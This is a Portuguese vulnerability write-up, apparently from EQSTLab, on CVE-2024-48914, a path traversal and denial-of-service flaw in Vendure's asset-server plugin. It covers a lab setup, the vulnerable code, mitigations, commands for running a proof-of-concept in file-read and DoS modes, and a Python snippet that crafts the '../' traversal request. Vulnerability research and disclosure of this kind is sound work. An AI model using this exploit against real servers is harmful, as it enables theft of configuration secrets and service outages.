
Leitura Arbitrária de Arquivos e DoS no exploit vendure-ecommerce
Este post é um artigo de pesquisa publicado por EQSTLab.
Agradecimentos a Rajesh Sharma, que descobriu esta vulnerabilidade.
★ CVE-2024-48914 Prova de Conceito de Leitura Arbitrária de Arquivos e DoS ★
CVE-2024-48914 : Vulnerabilidade de leitura arbitrária de arquivos e DoS no vendure-ecommerce
descrição: Vendure é uma plataforma de comércio headless de código aberto. Antes das versões 3.0.5 e 2.3.3, uma vulnerabilidade no plugin de servidor de ativos do Vendure permite que um invasor crie uma requisição capaz de percorrer o sistema de arquivos do servidor e recuperar o conteúdo de arquivos arbitrários, incluindo dados sensíveis como arquivos de configuração, variáveis de ambiente e outros dados críticos armazenados no servidor. No mesmo caminho de código, existe um vetor adicional para derrubar o servidor através de uma URI malformada. Correções estão disponíveis nas versões 3.0.5 e 2.3.3. Algumas soluções alternativas também estão disponíveis. Pode-se usar armazenamento de objetos em vez do sistema de arquivos local, por exemplo MinIO ou S3, ou definir um middleware que detecte e bloqueie requisições com URLs contendo /../.
Baixe a versão vulnerável(v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
Comando para executar
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (Leitura Arbitrária de Arquivos)

CVE-2024-48914.py (Ataque DoS)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
A vulnerabilidade decorre do uso de decodedReqPath diretamente em path.join sem realizar qualquer normalização de caminho, ou seja, path.normalize no Node.js. Esta vulnerabilidade permite que um invasor crie uma requisição capaz de percorrer o sistema de arquivos do servidor e recuperar o conteúdo de arquivos arbitrários, incluindo dados sensíveis como arquivos de configuração, variáveis de ambiente e outros dados críticos armazenados no servidor.
Ao usar o módulo requests do Python, o "../" é removido do caminho da URL. Se você usar "requisições preparadas" como abaixo, pode usar o módulo requests do Python sem que o "../" seja removido do caminho da URL.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
Este repositório não se destina a ser um exploit de Leitura Arbitrária de Arquivos ou DoS para CVE-2024-48914. O objetivo deste projeto é ajudar as pessoas a aprender sobre essa vulnerabilidade e, talvez, testar suas próprias aplicações.